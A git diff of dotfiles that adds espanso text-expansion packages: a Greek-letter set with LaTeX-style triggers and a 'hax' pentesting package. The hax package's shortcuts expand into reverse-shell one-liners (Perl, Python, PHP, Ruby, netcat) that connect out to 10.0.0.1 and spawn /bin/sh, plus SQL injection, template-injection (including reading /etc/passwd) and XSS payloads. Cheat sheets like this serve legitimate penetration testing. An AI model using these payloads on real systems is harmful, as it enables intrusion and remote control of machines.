matches +| Trigger | Replace | +|-------------|-----------| +| :Alpha: | Α | +| :alpha: | α | +| :Beta: | Β | +| :beta: | β | +| :varbeta: | ϐ | +| :Delta: | Δ | +| :delta: | δ | +| :Epsilon: | Ε | +| :epsilon: | ϵ | +| :varepsilon | ε | +| :Phi: | Φ | +| :phi: | 𝜙 | +| :varphi: | φ | +| :Gamma: | Γ | +| :gamma: | γ | +| :Eta: | Η | +| :eta: | η | +| :Iota: | Ι | +| :iota: | ι | +| :Theta: | Θ | +| :theta: | θ | +| :vartheta: | ϑ | +| :Kappa: | Κ | +| :kappa: | κ | +| :varkappa | ϰ | +| :Lambda: | Λ | +| :lambda: | λ | +| :Mu: | Μ | +| :mu: | μ | +| :Nu: | Ν | +| :nu: | ν | +| :Omicron: | Ο | +| :omicron: | ο | +| :Pi: | Π | +| :pi: | π | +| :varpi: | ϖ | +| :Chi: | Χ | +| :chi: | χ | +| :Rho: | Ρ | +| :rho: | ρ | +| :varrho | ϱ | +| :Sigma: | Σ | +| :sigma: | σ | +| :varsigma: | ς | +| :Tau: | Τ | +| :tau: | τ | +| :Upsilon: | Υ | +| :upsilon: | υ | +| :Omega: | Ω | +| :omega: | ω | +| :Xi: | Ξ | +| :xi: | ξ | +| :Psi: | Ψ | +| :psi: | ψ | +| :Zeta: | Ζ | +| :zeta: | ζ | \ No newline at end of file diff --git a/.config/espanso/match/packages/greek-letters-improved/_manifest.yml b/.config/espanso/match/packages/greek-letters-improved/_manifest.yml new file mode 100644 index 0000000..644a903 --- /dev/null +++ b/.config/espanso/match/packages/greek-letters-improved/_manifest.yml @@ -0,0 +1,8 @@ +author: "Jos\xE9 Ferreira" +description: A package containing most of the Greek alphabet and some common variatons + using Latex based naming scheme +name: greek-letters-improved +title: Greek Letters based on Latex +version: 0.1.0 +homepage: "https://github.com/jpmvferreira/espanso-mega-pack" +tags: ["greek", "languages", "latex", "math"] \ No newline at end of file diff --git a/.config/espanso/match/packages/greek-letters-improved/_pkgsource.yml b/.config/espanso/match/packages/greek-letters-improved/_pkgsource.yml new file mode 100644 index 0000000..0aa8f31 --- /dev/null +++ b/.config/espanso/match/packages/greek-letters-improved/_pkgsource.yml @@ -0,0 +1,2 @@ +--- +hub diff --git a/.config/espanso/match/packages/greek-letters-improved/package.yml b/.config/espanso/match/packages/greek-letters-improved/package.yml new file mode 100644 index 0000000..1bc0423 --- /dev/null +++ b/.config/espanso/match/packages/greek-letters-improved/package.yml @@ -0,0 +1,174 @@ +matches: + - triggers: [":Alpha:", ":A:"] + replace: "Α" + + - triggers: [":alpha:", ":a:"] + replace: "α" + + - triggers: [":Beta:", ":B:"] + replace: "Β" + + - triggers: [":beta:", ":b:"] + replace: "β" + + - triggers: [":varbeta:", ":vb:"] + replace: "ϐ" + + - triggers: [":Delta:", ":D:"] + replace: "Δ" + + - triggers: [":delta:", ":d:"] + replace: "δ" + + - triggers: [":Epsilon:", ":E:"] + replace: "Ε" + + - triggers: [":epsilon:", ":e:"] + replace: "ϵ" + + - triggers: [":varepsilon", ":ve:"] + replace: "ε" + + - triggers: [":Phi:", ":P:"] + replace: "Φ" + + - triggers: [":phi:", ":p:"] + replace: "𝜙" + + - triggers: [":varphi:", ":vp:"] + replace: "φ" + + - triggers: [":Gamma:", ":G:"] + replace: "Γ" + + - triggers: [":gamma:", ":g:"] + replace: "γ" + + - triggers: [":Eta:", ":E:"] + replace: "Η" + + - triggers: [":eta:", ":e:"] + replace: "η" + + - triggers: [":Iota:", ":I:"] + replace: "Ι" + + - triggers: [":iota:", ":i:"] + replace: "ι" + + - triggers: [":Theta:", ":T:"] + replace: "Θ" + + - triggers: [":theta:", ":t:"] + replace: "θ" + + - triggers: [":vartheta:", ":vt:"] + replace: "ϑ" + + - triggers: [":Kappa:", ":K:"] + replace: "Κ" + + - triggers: [":kappa:", ":k:"] + replace: "κ" + + - triggers: [":varkappa", ":vk:"] + replace: "ϰ" + + - triggers: [":Lambda:", ":L:"] + replace: "Λ" + + - triggers: [":lambda:", ":l:"] + replace: "λ" + + - triggers: [":Mu:", ":M:"] + replace: "Μ" + + - triggers: [":mu:", ":m:"] + replace: "μ" + + - triggers: [":Nu:", ":N:"] + replace: "Ν" + + - triggers: [":nu:", ":n:"] + replace: "ν" + + - trigger: ":Omicron:" + replace: "Ο" + + - trigger: ":omicron:" + replace: "ο" + + - trigger: ":Pi:" + replace: "Π" + + - trigger: ":pi:" + replace: "π" + + - triggers: [":varpi:", ":vpi:"] + replace: "ϖ" + + - triggers: [":Chi:", ":C:"] + replace: "Χ" + + - triggers: [":chi:", ":c:"] + replace: "χ" + + - triggers: [":Rho:", ":R:"] + replace: "Ρ" + + - triggers: [":rho:", ":r:"] + replace: "ρ" + + - triggers: [":varrho", ":vr:"] + replace: "ϱ" + + - triggers: [":Sigma:", ":S:"] + replace: "Σ" + + - triggers: [":sigma:", ":s:"] + replace: "σ" + + - triggers: [":varsigma:", ":vs:"] + replace: "ς" + + - trigger: ":Tau:" + replace: "Τ" + + - trigger: ":tau:" + replace: "τ" + + - triggers: [":Upsilon:", ":U:"] + replace: "Υ" + + - triggers: [":upsilon:", ":u:"] + replace: "υ" + + - triggers: [":Omega:", ":O:"] + replace: "Ω" + + - triggers: [":omega:", ":o:"] + replace: "ω" + + - trigger: ":Xi:" + replace: "Ξ" + + - trigger: ":xi:" + replace: "ξ" + + - trigger: ":Psi:" + replace: "Ψ" + + - trigger: ":psi:" + replace: "ψ" + + - triggers: [":varPsi:", ":vPsi:"] + replace: "Ⲯ" + + - triggers: [":varpsi:", ":vpsi:"] + replace: "ⲯ" + + - triggers: [":Zeta:", ":Z:"] + replace: "Ζ" + + - triggers: [":zeta:", ":z:"] + replace: "ζ" diff --git a/.config/espanso/match/packages/hax/README.md b/.config/espanso/match/packages/hax/README.md new file mode 100644 index 0000000..5b9acee --- /dev/null +++ b/.config/espanso/match/packages/hax/README.md @@ -0,0 +1,5 @@ +# Hax - A collection of shortcuts for hackers/penetration testers + +All the payloads included in `Hax` originate from the following sources, which I would like to thank: +- https://github.com/swisskyrepo/PayloadsAllTheThings +- https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet \ No newline at end of file diff --git a/.config/espanso/match/packages/hax/_manifest.yml b/.config/espanso/match/packages/hax/_manifest.yml new file mode 100644 index 0000000..541dc66 --- /dev/null +++ b/.config/espanso/match/packages/hax/_manifest.yml @@ -0,0 +1,6 @@ +name: "hax" +title: "Hax" +description: Penetration testing utilities and replacements +version: 0.1.0 +author: Nick Aliferopoulos +tags: ["hax", "hack", "hacking", "penetration", "sqli", "xss", "shell", "ssti", "xxe"] \ No newline at end of file diff --git a/.config/espanso/match/packages/hax/_pkgsource.yml b/.config/espanso/match/packages/hax/_pkgsource.yml new file mode 100644 index 0000000..0aa8f31 --- /dev/null +++ b/.config/espanso/match/packages/hax/_pkgsource.yml @@ -0,0 +1,2 @@ +--- +hub diff --git a/.config/espanso/match/packages/hax/package.yml b/.config/espanso/match/packages/hax/package.yml new file mode 100644 index 0000000..4e4ef30 --- /dev/null +++ b/.config/espanso/match/packages/hax/package.yml @@ -0,0 +1,58 @@ +matches: + # Reverse Shells + - trigger: ":rev-perl" + replace: "perl -e 'use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" + - trigger: ":rev-python" + replace: "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" + - trigger: ":rev-php" + replace: "php -r '$sock=fsockopen(\"10.0.0.1\",1234);exec(\"/bin/sh -i <&3 >&3 2>&3\");'" + - trigger: ":rev-ruby" + replace: "ruby -rsocket -e'f=TCPSocket.open(\"10.0.0.1\",1234).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" + - trigger: ":rev-nc" + replace: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f" + + # SQL Injection Payloads + - trigger: ":sqli-poly" + replace: "SLEEP(1) /*' or SLEEP(1) or '\" or SLEEP(1) or \"*/" + + # Server-side Template Injection Payloads + - trigger: ":ssti-asp" + replace: "@(1+2)" + - trigger: ":ssti-el" + replace: "${1+1}" + - trigger: ":ssti-el-alt" + replace: "#{1+1}" + - trigger: ":ssti-groovy" + replace: "${\"http://www.google.com\".toURL().text}" + - trigger: ":ssti-groovy-alt" + replace: "${new URL(\"http://www.google.com\").getText()}" + - trigger: ":ssti-jinja" + replace: "{{4*4}}[[5*5]]" + - trigger: ":ssti-ruby-file" + replace: "<%= File.open('/etc/passwd').read %>" + - trigger: ":ssti-ruby-dir" + replace: "<%= Dir.entries('/') %>" + - trigger: ":ssti-smarty" + replace: "{$smarty.version}" + - trigger: ":ssti-twig" + replace: "{{dump(app)}}" + - trigger: ":ssti-velocity" + replace: "#set($str=$class.inspect(\"java.lang.String\").type)" + + # Cross-site Scripting Payloads + - trigger: ":xss-basic" + replace: "" + - trigger: ":xss-img" + replace: "" + - trigger: ":xss-dom" + replace: "#\">" + - trigger: ":xss-markdown" + replace: "[a](javascript:prompt(1))" + - trigger: ":xss-poly" + replace: "\" onclick=alert(1)//